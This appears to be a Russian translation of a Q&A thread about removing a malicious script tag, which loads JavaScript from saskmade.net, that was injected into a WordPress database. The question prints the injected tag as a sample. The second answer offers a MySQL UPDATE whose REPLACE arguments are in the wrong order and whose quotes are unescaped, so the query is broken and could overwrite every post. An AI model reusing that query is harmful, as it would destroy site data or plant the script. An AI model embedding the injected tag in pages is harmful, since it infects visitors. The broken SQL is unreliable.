Очистка вставленной ссылки JavaScript в базе данных MYSQL - PullRequest
0 голосов
/ 11 января 2019

Я пытаюсь очистить базу данных WordPress зараженного сайта. Я очень мало знаю о MySQL, я пробовал пару вариантов с плохими результатами до сих пор. Я приложил несколько изображений, показывающих проблему, и это HTML-код, который заканчивается на страницах:

title="<script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'></script>" 

Мои неудачные попытки включали нажатие на эту кнопку УДАЛИТЬ, поэтому весь сайт, конечно, ломался.

У меня есть резервные копии, чтобы я мог играть безопасно. Я знаю, что должна быть простая функция «найти и заменить», чтобы удалить скрипт из таблиц, но я не уверен, стоит ли мне искать что-то еще, поскольку вы можете видеть, что в HTML-коде действительно больше вещей (# 039 часть например, я просто хочу убедиться, что я удаляю все правильно. Большое спасибо за любую помощь.

search results in database

Code example

Ответы [ 2 ]

0 голосов
/ 11 января 2019

Не забудьте также проверить термины, комментарии и таблицы post_meta. Потенциально ваш сайт ломается, потому что вы нарушаете целостность данных. Не начинайте с удаления материала. Начните с определения затронутых таблиц и строк. Затем определите отношения между поврежденными строками и другими объектами БД, удалите все плохие вещи сразу.

Это может сильно помочь: https://codex.wordpress.org/Database_Description

0 голосов
/ 11 января 2019

Простой вызов замены строки обновлением таблицы в MySQL выглядит следующим образом:

UPDATE wp_posts
SET post_content = REPLACE(
  '<script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'></script>',
  '',
  post_content
);

Я не уверен, что ваши данные действительно закодированы (наверное, да), в противном случае используйте < вместо &lt; и т. Д.

Это не распространяется на варианты, но является основным способом поиска и замены в нативном MySQL. Он не покрывает пробелы и возвращает его, я думаю, вы должны поиграть с ним.

Еще более простой подход

будет открывать дамп в вашем любимом текстовом редакторе (я предлагаю Notepad ++, потому что в нем есть поиск и замена Regex) и просто просматривайте этот файл вручную.

...